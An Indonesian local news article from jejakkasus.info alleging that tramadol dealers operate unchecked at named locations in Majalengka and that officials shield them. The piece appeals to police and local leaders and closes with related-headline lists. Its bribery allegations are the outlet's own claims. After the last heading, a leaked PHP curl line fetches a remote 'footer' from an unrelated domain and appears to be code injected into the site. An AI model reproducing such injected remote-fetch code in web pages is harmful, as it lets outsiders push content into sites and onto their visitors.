Wow…Bukan DiBrantas Malah Dibiarkan Pengedar Obat Terlarang, Pengedar Obat Di Majalengka Makin Merajalela.”

Minggu, 15 September 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Jejakkasus.info | Majalengka Jawa Barat –
Mungkin semua tau dan kita telah membaca berita sebelumnya, Nampaknya pelaku bandar obat ini seakan kebal hukum karna dibiarkan berkembang biak makin merajalela di wilayah Kabupaten Majalengka ( Sumberjaya ( Sebelum Pabrik Nabati ) Dan Sesudah Pabrik Nabati, Leuwimunding ( Sebelum Polsek tepatnya di warung pinggir jalan sawah ), Rajagaluh ( Arah Cirebon ) Dan Rajagaluh ( Arah Sukahaji ) Serta di Belokan Jembatan Besar Sukahaji Dan Jatiwangi ( Stamplat ), Dan Masih Banyak Lagi.

Baca Juga:  11 Kali Beroperasi Di Rembang dan Pati, Dua Pelaku Pencurian Motor Dibekuk Tim Polda Jateng

Apakah ini sengaja di biarkan atau memang pihak kepolisian khususnya Polres Majalengka Tidak Berani Atau Tidak Bernyali untuk memberantas nya seakan didiamkan begitu saja tanpa adanya tindakan tegas dari pihak kepolisian.

Dalam peredaran obat obatan terlarang di Kabupaten Majalengka diduga kuat banyaknya oknum oknum yang terlibat, yang seakan membackingi atau menjadi kacung untuk melindungi nya

bahkan saat team jejakkasus.info survey di wilayah banyaknya oknum yang meminta jatah dari bandar bandar obat tersebut.

Baca Juga:  Ketua Umum Bhayangkari Bagikan Bantuan Pada Warga Terdampak Rob di Semarang

Padahal sudah jelas tertera didalam sebuah Pasal Perbuatan para pelaku yang terlibat dalam penyalahgunaan obat keras berbahaya jenis tramdol mereka dapat dijerat dengan Pasal 435 Jo Pasal 138 ayat (2) dan ayat (3) atau Pasal 436 ayat (1) dan (2) dari Undang-Undang Republik Indonesia No 17 tahun 2023 tentang Kesehatan, dengan ancaman hukuman penjara hingga 12 tahun lamanya.

Jika hal ini sengaja dibiarkan maka akan dapat merusak generasi muda, oleh sebab itu kami kontrol sosial memohon dan meminta kepada bapak Kapolres Majalengka, Bupati Majalengka Setra Para Jajaran Kepemerintahan, Para Ulama Kabupaten Majalengka Agar Dapat Bersama sama menciptakan Majalengka terbebas dari penjualan obat obatan terlarang ini.

Baca Juga:  Polres Banjarnegara Gelar Keroyok Vaksin di Kecamatan Banjarnegara

Sangat disayangkan jika hal ini masih saja dibiarkan, dikarenakan semakin banyak para pemuda yang rusak dan kecanduan oleh obat obatan terlarang ini.

*TeaM Naga Jejakkasus.Info JaBar*

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Kontes 303 Perjudian Sabung Ayam Laga Desa Kretek, Kecamatan Sidayu, Kabupaten Bondowoso, Belum Tersentuh Hukum
Pasangan Paslon No 01 Subandi-Mimik Nobar Timnas vs Bahrain di Alas Kuta Sidoarjo
Samsat krian Sidoarjo Dalam Program Pemutihan Masyarakat Terbantukan dan Puas Dalam Hal Pelayanan
KPK memberikan WARNING Terhadap Kinerja Pemkab Cirebon Dan Inspektorat”.
Kasus di Kejari Langkat yang sempat jadi DPO
Jaksa Tidak Hadir, Terdakwa Pengerusakan Dan Pengancaman Gagal Disidangkan
Pelebaran Dan Penyemiran Jalan Di Tumpakrejo Desa Kebobang Kecamatan Wonosari
M. Syarif Hidayatullah Resmi Dilantik Sebagai Wakil Ketua III DPRD Kabupaten Jombang

Berita Terkait

Jumat, 11 Oktober 2024 - 01:50 WIB

Kontes 303 Perjudian Sabung Ayam Laga Desa Kretek, Kecamatan Sidayu, Kabupaten Bondowoso, Belum Tersentuh Hukum

Jumat, 11 Oktober 2024 - 01:23 WIB

Pasangan Paslon No 01 Subandi-Mimik Nobar Timnas vs Bahrain di Alas Kuta Sidoarjo

Kamis, 10 Oktober 2024 - 21:33 WIB

KPK memberikan WARNING Terhadap Kinerja Pemkab Cirebon Dan Inspektorat”.

Kamis, 10 Oktober 2024 - 21:31 WIB

Kasus di Kejari Langkat yang sempat jadi DPO

Kamis, 10 Oktober 2024 - 21:28 WIB

Jaksa Tidak Hadir, Terdakwa Pengerusakan Dan Pengancaman Gagal Disidangkan

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>